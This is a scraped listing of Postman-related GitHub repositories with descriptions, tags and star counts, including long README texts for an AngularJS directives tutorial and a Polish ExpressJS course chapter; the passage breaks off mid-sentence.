Simple express app that allows you to login, signup, track session permanently and display values received via POST method. These values could be sent by ESP8266 or simply by Postman (or others REST api clients ) | 0 stars | 0 watchers | 0 forks |
|
dtzar/openapi-auto-test automat, automate, automated, collection, generate, generates, newman, openapi, reads, test, tests |
Automatically reads an OpenAPI 3.0 defintion and generates a Postman collection to be used with newman for automated API tests. | 22 stars | 22 watchers | 1 forks |
|
Avinash-Raj/docs-from-POSTMAN collection, docs, generate, generates, script |
Python script which generates docs from POSTMAN collection url | 0 stars | 0 watchers | 5 forks |
|
aubm/postmanerator-markdown-theme content, generate, generates, markdown, theme |
A theme for Postmanerator that generates markdown content | 1 stars | 1 watchers | 1 forks |
|
darkestpriest/postman-environment-generator config, configuration, environment, environments, generate, generates, generator, library |
A library that generates environments for postman using a simple configuration | 0 stars | 0 watchers | 1 forks |
|
bryannbarbosa/tagger-laravel generate, generates, laravel, library |
This library generates Postman Routes based on Laravel Routes | 0 stars | 0 watchers | 0 forks |
|
signavio/postman-environment-updater environment, generate, generates, token, variable |
generates a jwt token and updates a given Postman environment variable | 0 stars | 0 watchers | 0 forks |
|
thecopy/apiary2postman apiary2postman, collection, copy, generating, print, rating |
Tool for generating a Postman collection from Blueprint API markup or the Apiary API | 0 stars | 0 watchers | 25 forks |
|
rpgplanet/django-postman copy, django, fork, personal, planet |
personal copy/fork of django-postman | 1 stars | 1 watchers | 1 forks |
|
abdulrajik99/Postman-copy copy |
0 stars | 0 watchers | 0 forks | |
|
AnnaGuk/Postman copy |
copy of the Postman app | 0 stars | 0 watchers | 0 forks |
|
longchao747/copycatPostman copy |
山寨postman | 0 stars | 0 watchers | 0 forks |
|
WendellOdom/Basic-Python-Data-Types-01 copy, data, program, python, sequence, type, types |
A sequence about Python Data types that leads to a circle of python data, JSON, Postman REST calls, and copying code into a Python program. | 0 stars | 0 watchers | 0 forks |
|
pinguo-fengxingchao/docman-convert apidoc, convert, syntax |
Postman Collection v2.0 to apidoc.js syntax comment | 1 stars | 1 watchers | 1 forks |
|
xk0der/vscode-postman-collection-syntax collection, light, syntax, vscode |
Postman Collection Syntax Highlighter | 1 stars | 1 watchers | 0 forks |
|
DigitalAPI/Postman-Bundle creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax |
Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. | 0 stars | 0 watchers | 1 forks |
|
danielxcom/todolist_using_api_and_ajax actor, ajax, file, helper, list, operation, operations, service, services, syntax, test, tested, todo |
Test-run of ajax syntax, todolist using RESTful web services tested with POSTMAN. Refactored REST operations in Promises + put them in helper file to make modular todos.js. Schema created using MongoDB | 0 stars | 0 watchers | 0 forks |
|
Solijons/Postman-Tests java, javascript, sample, script, syntax, test, tests, writing |
Here is sample of writing tests in post using javascript syntax | 0 stars | 0 watchers | 0 forks |
|
xk0der/vscode-postman-log-syntax highlighter, light, syntax, vscode |
Postman log highlighter | 0 stars | 0 watchers | 0 forks |
|
rgamba/postman async, communication, microservice, proxy, service, sync |
Reverse proxy for async microservice communication | 29 stars | 29 watchers | 1 forks |
|
VictorDeon/Pigeon communication, component, components, exchange, framework, media, message, messages, python, service, services, type, types |
Pigeon is a framework developed in python that was made to intermediate the use of RabbitMQ services in a quick and easy way, these services of communication between components / services through different types of context of exchange of messages | 1 stars | 1 watchers | 0 forks |
|
cpvariyani/kafka-implementation-.net-core-c- application, communication, console, consume, consumer, http, https, implementation, install, kafka, keeper, microservice, server, service, site, youtube |
youtube https://www.youtube.com/watch?v=ARqyWaZqn68&feature=youtu.be ..Practical Example for Use Apache Kafka In .NET Application, the demo for Kafka installation in .Net core and you can build Real-time Streaming Applications Using .NET Core c# and Kafka. Steps 1. Download Prerequisite for Kafka and zookeeper 2. Install Kafka and zookeeper 3. Create a topic in Kafka console 4. Start the Kafka producer server 5. Start the Kafka consumer server 6. Create .Net core microservice as a producer 7. Create .Net core application as a consumer 8. Test Kafka implementation using postman to see the communication between communication. | 0 stars | 0 watchers | 0 forks |
|
johnnadratowski/postman-repl communicate, communication, config, configuration, data, interface, stat, user |
Postman repl uses IPython to present the user with an interface to communicate with APIs. It loads postman configuration data into global state, allowing for quick and easy communication with an API. | 0 stars | 0 watchers | 0 forks |
|
laudvg/Until-Sunrise communication, data, database, implementation, model, models |
Backend project in Node, using Express, Mongoose for models and communication with the MongoDB database. Tools such as Passport, Postman, MongoDB Compass, Axios were used. API implementation. | 0 stars | 0 watchers | 0 forks |
|
yann-yvan/CodeHttp android, communication, debug, define, light, server, struct, structure, tool, tools |
A light way to make communication between android and server using a predefine structure server response with a debug tools like postman | 0 stars | 0 watchers | 0 forks |
|
owainlewis/relay patch, relay, struct, structure, tool, tools |
Relay lets you write HTTP requests as easy to read, structured YAML and dispatch them easily using a CLI. Similar to tools like Postman | 24 stars | 24 watchers | 0 forks |
|
nikandlv/postman-patcher java, javascript, patch, render, script |
Allows postman to render javascript in preview | 0 stars | 0 watchers | 1 forks |
|
jerowang/postman-patch-asar-ssh description, patch, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
Ketzatl/test-n-4 description, patch, script, test |
test requêtes - API GitHub et Postman - Nouvelle description (patch Postman) | 0 stars | 0 watchers | 0 forks |
|
param2404/userPosts check, collection, collections, description, email, mail, model, mongo, mongoose, operation, patch, phone, result, script, user, users |
C.R.U.D operation using REST APIs and Mongoose . 1. Create two collections (User,Post) using mongoose.model USER: name, phone,email etc. POST: title,description etc. 2. Add users/post through POSTMAN and check the result in robo3t.(CREATE-post) 3.Fetch users/post through POSTMAN and check the result in robo3t.(READ-get) 4.Update users/post through POSTMAN and check the result in robo3t.(UPDATE-patch) 5.Delete users/post through POSTMAN and check the result in robo3t.(DELETE-delete) 6.Fetch a particular user's post using its id or name . | 0 stars | 0 watchers | 0 forks |
|
aisabel/Postman-pinterestExamples access, account, dashboard, rest, rest api, spec, token, tokens |
This repository is just to access pinterest api and create dashboards in a specific account using tokens. | 0 stars | 0 watchers | 0 forks |
|
arunrajachandar/covid case, cases, covid, dashboard, data |
It's a very basic COVID dashboard with world map and datatable showing the recovered, death and overall confirmed cases country-wise. Front-end: React, Bootstrap | Map Component: React Geo Charts(Google API) | Data Source : Postman API | 0 stars | 0 watchers | 0 forks |
|
arunrajachandar/covidSrcCode case, cases, covid, dashboard, data |
It's a very basic COVID dashboard with world map and datatable showing the recovered, death and overall confirmed cases country-wise. Front-end: React, Bootstrap | Map Component: React Geo Charts(Google API) | Data Source : Postman API | 0 stars | 0 watchers | 0 forks |
|
dexterlabora/meraki-dashboard-api-postman dashboard, meraki |
Meraki Dashboard API Postman Collection Backup | 0 stars | 0 watchers | 0 forks |
|
Jaco1984/Spottify_Javier dashboard, developer, http, https, login, service, spotify, token |
Aplicación como Spotiffy, para probarla necesitan el token que genera vuestra sesion "https://developer.spotify.com/dashboard/login" yo lo uso con el Postman para recogerlo y poder probarlo hay que cambiarlo en el archivo "spotiffy.service.ts" en la linea 21 despues del Bearer | 0 stars | 0 watchers | 0 forks |
|
rupakg/postman application, email, mail, server, serverless, service |
A simple serverless application with an email service. | 4 stars | 4 watchers | 1 forks |
|
Mgutjahr/serverless-newman lambda, newman, server, serverless, test |
Execute newman (postman) test on AWS lambda | 0 stars | 0 watchers | 2 forks |
|
jensvog/serverless-postman-env-plugin endpoint, endpoints, environment, file, http, plugin, server, serverless |
Serverless plugin for creating a postman environment file from http endpoints | 0 stars | 0 watchers | 0 forks |
|
kogden/serverless-mongo-database data, database, function, functions, lambda, mongo, monitor, movie, server, serverless, trigger |
Uses AWS lambda trigger to POST/GET from mongoDB movie database. Uses Dashbird.io to monitor. Postman to call functions. | 0 stars | 0 watchers | 0 forks |
|
sweb1433/serverless-api-monk function, functions, lambda, node, nodejs, server, serverless |
CRUD api using nodejs, serverless, lambda functions and postman and monk. | 0 stars | 0 watchers | 0 forks |
|
sn0112358/Angular-Directive-Project access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps |
Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. | 0 stars | 0 watchers | 14 forks |
|
dapinitial/SimpleServer bcrypt, initial, parse, parser, route, test, tested |
Simple Server with Authentication Middleware using Node, Express, Mongoose, MongoDB, Morgan, body-parser, bcrypt, JWT, and Passport. Boilerplate per usual, route-tested with Postman and RoboMongo. | 0 stars | 0 watchers | 1 forks |
|
m3dsec/redis_exploit exploit, initial, machine, redis |
Exploit i used to get the initial shell on POSTMAN machine from HTB | 0 stars | 0 watchers | 1 forks |
|
BitBrew/bbhub-postman form, initial, platform, script, scripts, select, setup |
Postman scripts for select platform APIs, to aid in initial setup. | 0 stars | 0 watchers | 0 forks |
|
LOTIRELK/LetterBoxSimulation display, e mail, experiment, following, initial, mail, office, play, process, program, sort |
Postman Pat became bored one night at the postal sorting office and to break the monotony of the nightshift, he carried out the following experiment with a row of mailboxes (all initially closed) in the post office. These mailboxes are numbered 1 through to 150, and beginning with mailbox 2, he opened the doors of all the even-numbered mailboxes. Next, beginning with mailbox 3, he went to every third mailbox, opening its door if it was closed and closing it if it was open. Then he repeated this procedure with every fourth door, then every fifth door, and so on. When he finished, he was surprised at the distribution of closed mailboxes. A program to determine and display which mailboxes these were (i.e. which doors were closed at the end of the process). | 0 stars | 0 watchers | 0 forks |
|
rupeshmore/dakiya collection, collections, convert, converts, dakiya, script, scripts, test, testing, tool |
Dakiya: converts Postman collections to load testing tool scripts | 25 stars | 25 watchers | 6 forks |
|
iaincollins/jess collection, collections, convert, converts, jess |
Jess converts Postman API collections to JavaScript libraries | 2 stars | 2 watchers | 0 forks |
|
theScimus/postman_to_jmeter_converter convert, converte, converter, converts, jmeter, postman tests, script, test, tests |
A small script that converts postman tests into JMeter load tests | 0 stars | 0 watchers | 3 forks |
|
tagip/blueman collection, convert, converts, file, image, print |
Docker image that converts an API Blueprint AST file to a Postman collection | 1 stars | 1 watchers | 0 forks |
|
ntiss/postmanToStoplightConverter collection, collections, convert, converts, environment, environments, light, tool |
This tool converts Postman collections (or environments) to Stoplight collections (or environments) | 0 stars | 0 watchers | 1 forks |
|
kpraneeth3456/JWT-Authentication account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user |
Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. | 1 stars | 1 watchers | 0 forks |
|
akshaymittal143/backend-webservice-using-Node-and-Express backend, dependencies, service, services, webservice |
This is a project for web services using Node and Express with other dependencies | 0 stars | 0 watchers | 0 forks |
|
karthick-git/Newman-Framework-Node-App automat, automation, bundle, bundled, dependencies, framework, newman, node |
This repository contains an API automation framework project. It's built with Postman's newman CLI as core. It's bundled with the node dependencies and can be deployed directly in PCF. | 0 stars | 0 watchers | 0 forks |
|
martinproxy0/Zadanie_17_5 action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars |
17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu 